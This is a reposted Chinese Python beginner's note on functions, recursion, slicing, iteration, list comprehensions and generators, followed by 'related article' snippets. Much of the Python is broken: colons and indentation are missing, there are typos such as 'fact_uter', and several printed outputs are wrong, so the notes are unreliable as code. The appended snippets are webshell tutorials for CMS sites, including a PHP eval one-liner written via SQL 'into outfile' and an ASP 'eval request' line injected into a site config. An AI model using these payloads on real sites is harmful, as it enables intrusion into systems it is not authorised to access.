Python学习笔记 ---第三章

函数

函数是代码的一种抽象

函数说明
abs绝对值
max最大值
hex转换为16进制

强制数据类型转换

int('123')
123
int(12.35)
12
srt(100)
'100'
bool(1)
True

定义函数

定义一个函数,依次写出函数名,括号中的参数和冒号: 最后return返回

def my_abs(x):
if x >=0:
return x
else
return -x
*空函数 定义一个空函数
def nop()
pass

*返回多个值

import math
def move(x, y, step, angle=0):
nx = x + step * math.cos(angle)
ny = y - step * math.sin(angle)
return nx, ny

然会同时获得返回值

x, y = move(100, 100, 60, math.pi / 6)
print(x, y)
151.96152422706632 70.0

这只是一种假象,Python函数返回的仍然是单一值

r = move(100, 100, 60, math.pi / 6)
print(r)
(151.96152422706632, 70.0)
返回了一个tuple

*定义函数时,要确定函数名和参数个数,可以先对参数的数据类型进行检查
函数体内部可以用return随时返回函数结果,没有执行完毕也没有return语句时返回None
函数可以返回多个值,骑其实就是一个tuple

递归函数

*在函数内部调用自身就是递归函数

def fact(n):
if n == 1
return 1
return n * fact(n-1)

*递归要防止栈溢出,可以用尾递归优化防止溢出

def fact(n):
return fact_iter(n,1)
def fact_iter(num,product):
if num == 1:
return product
return fact_uter(num - 1,num*product)

return fact_iter(num - 1, num * product)仅返回递归函数本身,num - 1和num * product在函数调用前就会被计算,不影响函数调用。

使用递归函数的优点是逻辑简单清晰,缺点是过深的调用会导致栈溢出。
针对尾递归优化的语言可以通过尾递归防止栈溢出。尾递归事实上和循环是等价的,没有循环语句的编程语言只能通过尾递归实现循环。

高级函数

*切片
取出一个list中的部分元素

L = ['Michael', 'Sarah', 'Tracy', 'Bob', 'Jack']
L[0:3] #取出前三个元素,从0开始不包括3
['Michael', 'Sarah', 'Tracy']
L[-2] #倒序切片,从-1开始
['Bob', 'Jack']

建立一个0-99的数列

L = list(range(100))
L
[0,1,2,3,.....,99]

前十个,每两个取一个
L[:10:2]
[0,2,4,6,8]
所有数,每隔5个取一个
L[::5]
[0,5,10,.....,95]

tuple也可以进行切片,结果仍是一个tuple
(0,1,2,3,4,5)
[:3]
(0,1,2)

字符串'XXX'也可以看做list,可以进行切片
'ABCDEFG'[:3]
'ABC'

迭代

一个list或tuple,我们可以通过for循环来遍历这个list或tuple,这种遍历我们称为迭代(Iteration)。
Python中通过for ... in 进行迭代

d = {'a':1,'b':2,'c':3}
for key in d:
print(key) #迭代出key

for value in d.values() #迭代value
for k,v in d.items() #迭代value 和key

collection模块中的lterable类型判断对象是否可以迭代

from collections import Iterable
isinstance('abc', Iterable) # str是否可迭代
True

Python内置的enumerate函数可以把一个list变成索引-元素对,在for循环中同时迭代索引和元素本身

for i, value in enumerate(['A', 'B', 'C']):
print(i, value)
0 A
1 B
2 C
任何可迭代对象都可以作用于for循环,包括我们自定义的数据类型,只要符合迭代条件,就可以使用for循环

列表生成式

list(range(1, 11))
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10] #生成1-10的list

生成[1x1, 2x2, 3x3, ..., 10x10]
1.循环

L = []
for x in range(1, 11):
L.append(x * x)
L
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

2.list

[x*x for x in range(1,11)]
[1,4,16,25, 36, 49, 64, 81, 100]

for循环后面还可以加上if判断,这样我们就可以筛选出仅偶数的平方

[x*x for x in range(1,11) if x%2 == 0]
[4,16,36,64,100]

两层循环生成全排列

[m + n for m in 'ABC' n in 'XYZ']
['AX', 'AY', 'AZ', 'BX', 'BY', 'BZ', 'CX', 'CY', 'CZ']

列表生成式可使用两个变量生成list

d = {'x':,'A','y':'B','z',:'C'}
[k + '=' + v for k,v in d.items()]
['y=B','x=A','z=C']

生成器

在Python中一边循环一边计算的机制,称为生成器:generator
把列表生成器的[]改为()就建立了一个generator

L = [x * x for x in range(10)]
g = (x * x for x in range(10))
通过next() 获得generator的下一个返回值
next(g)
0
next(g)
1
next(g)
4
然后加入for循环
g = (x * x for x in range(10))
for n in g:
print (n)
0
1
4
16

斐波拉契数列

def fib(max):
n,a,b =0,0,1
while n < max:
print(b)
a,b = b,a+b
n = n+1
return 'done'

转载于:https://www.cnblogs.com/battleblock/p/4817451.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358270.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ecshop框架的Webshell

一、登录情况 后台地址&#xff1a;127.0.0.1/ecshop/admin 因为后台没有放东西 嘛 所以就啥也没有 二、后台拿webshell三种思路演示 1&#xff1a;执行数据库命令拿webshell 首先需要找到可写入命令的页面&#xff1a; select <;?php eval($_POST[1])?>; into ou…

什么是大前端,前端工程师要不要成为全栈工程师?

不想成为全栈的前端不是好程序员。 数年以前,全栈工程师的理念忽然风靡墙内外,成为开发者们津津乐道的话题。数年过去,关于全栈工程师的争议不多了,教你速成全栈工程师的视频课程多了起来,说明大家对于这个理念慢慢接受了。但我发现,鼓吹前端往全栈转型做的有点走…

muy bien_配置Java EE应用程序或“将Bien付诸实践”

muy bien过去&#xff0c;有关应用程序配置的讨论很多。 我不知道谁拉开了辩论的序幕&#xff0c;但是最基础的阅读&#xff08;着眼于未来的Java EE 7及更高版本&#xff09;是Antonio Goncalves的帖子[辩论] – Java EE 7中的配置又如何呢 &#xff1f; 事实是&#xff0c;使…

浅谈大前端的代表技术及其影响,值得我们思考

到底哪些是大前端的代表技术&#xff1f;从业务上来说&#xff0c;我认为终端 开发、网关设计、接口设计、桌面端的 工程化都可以算是大前端的业务范畴。 具体的技术&#xff0c;则是基于 HTML5、NodeJS 的通用技术&#xff0c;以及各平台的专有技术。 从现阶段来说&#xff0c…

Aspcms框架的webshell

文章目录 渗透测试-地基篇-Webshell-Aspcms框架&#xff08;十&#xff09;一、登录演示二、数据库备份拿webshell 一、登录演示 本次演示一种方法思路拿aspcms框架的webshell&#xff0c;该页面是用的是最新版本的aspcms框架自行搭建演示的。 1&#xff09;登录地址&#x…

python实现: protobuf解释器

之前项目为了自动化&#xff0c;所以写一个protobuf的解释器&#xff0c;用来生成项目所需的格式。 当然现在通过以下链接的指导&#xff0c;跳过手工分析&#xff0c;直接生成代码了。 https://developers.google.com/protocol-buffers/docs/reference/cpp-generated 这次文档…

Vaadin和DukeScript中的Hello World

从表面上看 &#xff0c; Vaadin和GWT通常与DukeScript有很多共同点。 两者都致力于为Java开发人员提供面向浏览器的解决方案&#xff0c;并且由于其对Maven的原生支持而与IDE集成良好。 但是&#xff0c;这些方面实际上是它们共有的全部。 从编程模型到框架如何处理代码&#…

xyCMS框架的webshell

"%><%eval request("d")%><%s"在网站配置页面插入一句话。&#xff08;注意一定要把前后内容闭合&#xff0c;不然整个网站都要崩溃&#xff09; 插入结果。 shell工具连接 </article>

Xcode版本更新后插件失效解决办法

打开终端&#xff0c;输入以下代码&#xff1a; defaults read /Applications/Xcode.app/Contents/Info DVTPlugInCompatibilityUUID 获取到DVTPlugInCompatibilityUUID&#xff0c;然后 find ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins -name Info.pli…

都灵JVM编程语言:使用ANTLR构建高级词法分析器

正如我在上一篇文章中所写的那样&#xff0c;我最近开始研究一种名为Turin的新编程语言。 可以在GitHub上找到适用于languag初始版本的编译器。 我目前正在改进语言&#xff0c;并正在开发Maven和IntelliJ插件。 在这里和下一篇文章中&#xff0c;我将介绍编译器和相关工具的不…

Flutter快速构建集美观与⾼性能于⼀体的APP

先上干货 github:https://github.com/flutter/flutter 官网&#xff1a;http://flutter.io/ 中文资源&#xff1a;https://flutter-io.cn/ 当然我也用其他敏捷式平台开发过APP&#xff0c;比如APICloud、uiapp,相比Flutter难度会小一些。 用户的需求 移动软件开发的困难 这…

一个线程加一运算,一个线程做减一运算,多个线程同时交替运行--synchronized...

使用synchronized package com.pb.thread.demo5;/**使用synchronized* 一个线程加一运算&#xff0c;一个线程做减法运算&#xff0c;多个线程同时交替运行* * author Denny**/ public class Count {private int num 0;private boolean flag false; // 标识//加法public sync…

如何使用UI技术提升租房类APP的看房体验?

这个看你处理的数据够不够复杂啦。 越个性化,越流程的APP越需要处理复杂的数据。 使用SVG制作户型结构编辑器。

jboss 发布web_JBoss模块示例–模块化Web应用程序

jboss 发布web最近&#xff0c;我读到了为什么没有标准来开发真正的模块化Web应用程序&#xff1f; 由Patroklos Papapetrou撰写&#xff08; 在Java Code Geeks中也有介绍 &#xff09;。 受本文的启发&#xff0c;我决定检查实际使用的JBoss模块 。 这篇文章逐步描述了我的实…

南方数据后台的WEBSHEL

南方数据企业系统&#xff0c;后台上传截断拿webshell 在“新闻资讯”-“添加新闻”模块中&#xff0c;在“新闻图片”中点击“上传”按钮&#xff0c;会出现一个弹窗&#xff0c;复制弹窗的地址&#xff0c;在新标签页中打开 本地准备个asp类型的一句话木马&#xff1a;<%…

【APICloud系列|20】如何使用使用APICloud开发出优质的Hybrid App

谈到这里,我先抛出几个问题,虽然他们社区比较活跃,我曾经也在上面开发过一款办公类应用并成功上架到各大安卓应用商店与APPstore,有兴趣的可以看看我以前的帖子。新手可以学习一下他们七天的教学,可以很快的入门,至于他们官方的一些视频可能比较陈旧,凑合着看吧,影响不是…

java对象的序列化机制详解

Java对象的序列化机制 Java对象的序列化&#xff0c;是将内存中的java对象转化为二进制的字节流&#xff0c;然后保存到磁盘中或者在网络上。这就是序列化对象&#xff0c;反序列化顾名思义就是将对象的二进制字节流恢复成原来的对象。注意只有对象的类名和属性能被序列化&…

测试并发应用

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。 在本课程中&#xff0c;您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识&#xff0c;并学习诸如原子性&#xff0c;同步和线程安全之类的概念。 在这里查看 &#xff01; 目录 1.简介 2. Sim…

无忧企业系统的getshell

方法一&#xff1a;数据库备份 写入后进行数据库备份 路径 shell工具连接 方法二&#xff1a;修改允许上传后缀&#xff0c;直接上传马